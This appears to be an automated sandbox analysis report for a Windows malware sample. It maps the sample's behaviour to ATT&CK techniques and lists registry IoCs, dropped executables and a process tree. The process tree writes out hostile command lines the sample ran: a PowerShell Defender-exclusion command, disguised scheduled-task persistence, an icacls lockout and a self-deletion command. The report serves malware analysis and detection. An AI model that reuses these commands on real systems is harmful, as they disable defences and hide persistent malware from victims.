djvu | 1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	89FA.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	89FA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	89FA.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	E4E9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	liyy.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	D575.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	F9FC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	F9FC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 27 IoCs

pid	Process
2104	D575.exe
3940	D893.exe
4792	D9DC.exe
4576	E4E9.exe
2880	llpb1133a.exe
4568	liyy.exe
4628	XandETC.exe
920	F073.exe
4200	liyy.exe
4048	F4AB.exe
2612	F6FD.exe
2844	F9FC.exe
2848	FCDB.exe
1556	F9FC.exe
1108	F9FC.exe
4932	F9FC.exe
2592	build2.exe
3096	build3.exe
1064	build2.exe
4184	5899.exe
2844	89FA.exe
1240	8D18.exe
1976	svcupdater.exe
3728	mstsca.exe
4588	9547.exe
4092	99FB.exe
3824	A20B.exe

Loads dropped DLL 3 IoCs

pid	Process
4900	rundll32.exe
1064	build2.exe
1064	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1484	icacls.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/2844-315-0x00000000006E0000-0x00000000013EE000-memory.dmp	agile_net
behavioral1/memory/2844-317-0x00000000006E0000-0x00000000013EE000-memory.dmp	agile_net

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0003000000021a55-310.dat	themida
behavioral1/files/0x0003000000021a55-311.dat	themida
behavioral1/memory/2844-315-0x00000000006E0000-0x00000000013EE000-memory.dmp	themida
behavioral1/memory/2844-317-0x00000000006E0000-0x00000000013EE000-memory.dmp	themida

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000b000000022e04-156.dat	vmprotect
behavioral1/files/0x000b000000022e04-155.dat	vmprotect
behavioral1/memory/2880-160-0x0000000140000000-0x000000014061E000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\8044e744-090e-4100-b765-49ef212629fb\\F9FC.exe\" --AutoStart"	F9FC.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	89FA.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	api.2ip.ua
34	api.2ip.ua
49	api.2ip.ua
138	ip-api.com
143	icanhazip.com

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2848	FCDB.exe
2848	FCDB.exe
2848	FCDB.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2844 set thread context of 1556	2844	F9FC.exe	107
PID 1108 set thread context of 4932	1108	F9FC.exe	119
PID 2592 set thread context of 1064	2592	build2.exe	124
PID 4588 set thread context of 3704	4588	9547.exe	144

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4940	sc.exe
1560	sc.exe
3988	sc.exe
1916	sc.exe
3592	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
1592	4792	WerFault.exe	89
3336	920	WerFault.exe	95
1240	2612	WerFault.exe	102
4024	2104	WerFault.exe	87
1760	4900	WerFault.exe	112
3948	2848	WerFault.exe	104
1132	4184	WerFault.exe	128
1708	4184	WerFault.exe	128

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F4AB.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F4AB.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F4AB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D893.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D893.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D893.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	89FA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	89FA.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	89FA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	89FA.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4684	schtasks.exe
2136	schtasks.exe
4048	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1008	timeout.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4644	1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
4644	1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE
388	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
388	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4644	1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
3940	D893.exe
4048	F4AB.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeDebugPrivilege	2844	89FA.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE
Token: SeShutdownPrivilege	388	Explorer.EXE
Token: SeCreatePagefilePrivilege	388	Explorer.EXE

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4568	liyy.exe
4568	liyy.exe
4200	liyy.exe
4200	liyy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 388 wrote to memory of 2104	388	Explorer.EXE	87
PID 388 wrote to memory of 2104	388	Explorer.EXE	87
PID 388 wrote to memory of 2104	388	Explorer.EXE	87
PID 388 wrote to memory of 3940	388	Explorer.EXE	88
PID 388 wrote to memory of 3940	388	Explorer.EXE	88
PID 388 wrote to memory of 3940	388	Explorer.EXE	88
PID 388 wrote to memory of 4792	388	Explorer.EXE	89
PID 388 wrote to memory of 4792	388	Explorer.EXE	89
PID 388 wrote to memory of 4792	388	Explorer.EXE	89
PID 388 wrote to memory of 4576	388	Explorer.EXE	92
PID 388 wrote to memory of 4576	388	Explorer.EXE	92
PID 388 wrote to memory of 4576	388	Explorer.EXE	92
PID 4576 wrote to memory of 2880	4576	E4E9.exe	93
PID 4576 wrote to memory of 2880	4576	E4E9.exe	93
PID 4576 wrote to memory of 4568	4576	E4E9.exe	94
PID 4576 wrote to memory of 4568	4576	E4E9.exe	94
PID 4576 wrote to memory of 4568	4576	E4E9.exe	94
PID 4576 wrote to memory of 4628	4576	E4E9.exe	101
PID 4576 wrote to memory of 4628	4576	E4E9.exe	101
PID 388 wrote to memory of 920	388	Explorer.EXE	95
PID 388 wrote to memory of 920	388	Explorer.EXE	95
PID 388 wrote to memory of 920	388	Explorer.EXE	95
PID 4568 wrote to memory of 4200	4568	liyy.exe	96
PID 4568 wrote to memory of 4200	4568	liyy.exe	96
PID 4568 wrote to memory of 4200	4568	liyy.exe	96
PID 388 wrote to memory of 4048	388	Explorer.EXE	99
PID 388 wrote to memory of 4048	388	Explorer.EXE	99
PID 388 wrote to memory of 4048	388	Explorer.EXE	99
PID 388 wrote to memory of 2612	388	Explorer.EXE	102
PID 388 wrote to memory of 2612	388	Explorer.EXE	102
PID 388 wrote to memory of 2612	388	Explorer.EXE	102
PID 388 wrote to memory of 2844	388	Explorer.EXE	103
PID 388 wrote to memory of 2844	388	Explorer.EXE	103
PID 388 wrote to memory of 2844	388	Explorer.EXE	103
PID 388 wrote to memory of 2848	388	Explorer.EXE	104
PID 388 wrote to memory of 2848	388	Explorer.EXE	104
PID 388 wrote to memory of 2848	388	Explorer.EXE	104
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2844 wrote to memory of 1556	2844	F9FC.exe	107
PID 2104 wrote to memory of 4684	2104	D575.exe	108
PID 2104 wrote to memory of 4684	2104	D575.exe	108
PID 2104 wrote to memory of 4684	2104	D575.exe	108
PID 4800 wrote to memory of 4900	4800	rundll32.exe	112
PID 4800 wrote to memory of 4900	4800	rundll32.exe	112
PID 4800 wrote to memory of 4900	4800	rundll32.exe	112
PID 1556 wrote to memory of 1484	1556	F9FC.exe	116
PID 1556 wrote to memory of 1484	1556	F9FC.exe	116
PID 1556 wrote to memory of 1484	1556	F9FC.exe	116
PID 1556 wrote to memory of 1108	1556	F9FC.exe	117
PID 1556 wrote to memory of 1108	1556	F9FC.exe	117
PID 1556 wrote to memory of 1108	1556	F9FC.exe	117
PID 1108 wrote to memory of 4932	1108	F9FC.exe	119
PID 1108 wrote to memory of 4932	1108	F9FC.exe	119
PID 1108 wrote to memory of 4932	1108	F9FC.exe	119
PID 1108 wrote to memory of 4932	1108	F9FC.exe	119
PID 1108 wrote to memory of 4932	1108	F9FC.exe	119

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:388
- C:\Users\Admin\AppData\Local\Temp\1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe
  "C:\Users\Admin\AppData\Local\Temp\1028ef3a27697fb876502a988827cdbd0078368b553e3c7841433489cc6de109.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4644
- C:\Users\Admin\AppData\Local\Temp\D575.exe
  C:\Users\Admin\AppData\Local\Temp\D575.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
    3⤵
    - Creates scheduled task(s)
    PID:4684
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2104 -s 1124
    3⤵
    - Program crash
    PID:4024
- C:\Users\Admin\AppData\Local\Temp\D893.exe
  C:\Users\Admin\AppData\Local\Temp\D893.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3940
- C:\Users\Admin\AppData\Local\Temp\D9DC.exe
  C:\Users\Admin\AppData\Local\Temp\D9DC.exe
  2⤵
  - Executes dropped EXE
  PID:4792
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 448
    3⤵
    - Program crash
    PID:1592
- C:\Users\Admin\AppData\Local\Temp\E4E9.exe
  C:\Users\Admin\AppData\Local\Temp\E4E9.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe
    "C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe"
    3⤵
    - Executes dropped EXE
    PID:2880
- - C:\Users\Admin\AppData\Local\Temp\liyy.exe
    "C:\Users\Admin\AppData\Local\Temp\liyy.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\Users\Admin\AppData\Local\Temp\liyy.exe
      "C:\Users\Admin\AppData\Local\Temp\liyy.exe" -h
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:4200
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:4628
- C:\Users\Admin\AppData\Local\Temp\F073.exe
  C:\Users\Admin\AppData\Local\Temp\F073.exe
  2⤵
  - Executes dropped EXE
  PID:920
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 920 -s 812
    3⤵
    - Program crash
    PID:3336
- C:\Users\Admin\AppData\Local\Temp\F4AB.exe
  C:\Users\Admin\AppData\Local\Temp\F4AB.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4048
- C:\Users\Admin\AppData\Local\Temp\F6FD.exe
  C:\Users\Admin\AppData\Local\Temp\F6FD.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2612 -s 448
    3⤵
    - Program crash
    PID:1240
- C:\Users\Admin\AppData\Local\Temp\F9FC.exe
  C:\Users\Admin\AppData\Local\Temp\F9FC.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Users\Admin\AppData\Local\Temp\F9FC.exe
    C:\Users\Admin\AppData\Local\Temp\F9FC.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\8044e744-090e-4100-b765-49ef212629fb" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:1484
  - - C:\Users\Admin\AppData\Local\Temp\F9FC.exe
      "C:\Users\Admin\AppData\Local\Temp\F9FC.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1108
    - - C:\Users\Admin\AppData\Local\Temp\F9FC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F9FC.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4932
      - C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build2.exe
        
        "C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build2.exe
        
        "C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1064
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build2.exe" & exit
        8⤵
        
        PID:3828
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1008
      - C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build3.exe
        
        "C:\Users\Admin\AppData\Local\8a4b2ae8-0ece-44aa-9d67-4bc87e42152a\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3096
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2136
- C:\Users\Admin\AppData\Local\Temp\FCDB.exe
  C:\Users\Admin\AppData\Local\Temp\FCDB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2848
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:1884
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2848 -s 700
    3⤵
    - Program crash
    PID:3948
- C:\Users\Admin\AppData\Local\Temp\5899.exe
  C:\Users\Admin\AppData\Local\Temp\5899.exe
  2⤵
  - Executes dropped EXE
  PID:4184
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Ruifriwreh.dll,start
    3⤵
    PID:944
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 14140
      4⤵
      PID:4128
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 672
    3⤵
    - Program crash
    PID:1132
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4184 -s 480
    3⤵
    - Program crash
    PID:1708
- C:\Users\Admin\AppData\Local\Temp\89FA.exe
  C:\Users\Admin\AppData\Local\Temp\89FA.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Users\Admin\AppData\Local\Temp\8D18.exe
  C:\Users\Admin\AppData\Local\Temp\8D18.exe
  2⤵
  - Executes dropped EXE
  PID:1240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Users\Admin\AppData\Local\Temp\9547.exe
  C:\Users\Admin\AppData\Local\Temp\9547.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4588
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:2900
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:4940
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:3704
- C:\Users\Admin\AppData\Local\Temp\99FB.exe
  C:\Users\Admin\AppData\Local\Temp\99FB.exe
  2⤵
  - Executes dropped EXE
  PID:4092
- C:\Users\Admin\AppData\Local\Temp\A20B.exe
  C:\Users\Admin\AppData\Local\Temp\A20B.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Users\Admin\AppData\Local\Temp\A69F.exe
  C:\Users\Admin\AppData\Local\Temp\A69F.exe
  2⤵
  PID:3096
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:4960
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4796
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:3116
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3348
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1792
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:1236
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2816
- C:\Windows\SysWOW64\explorer.exe
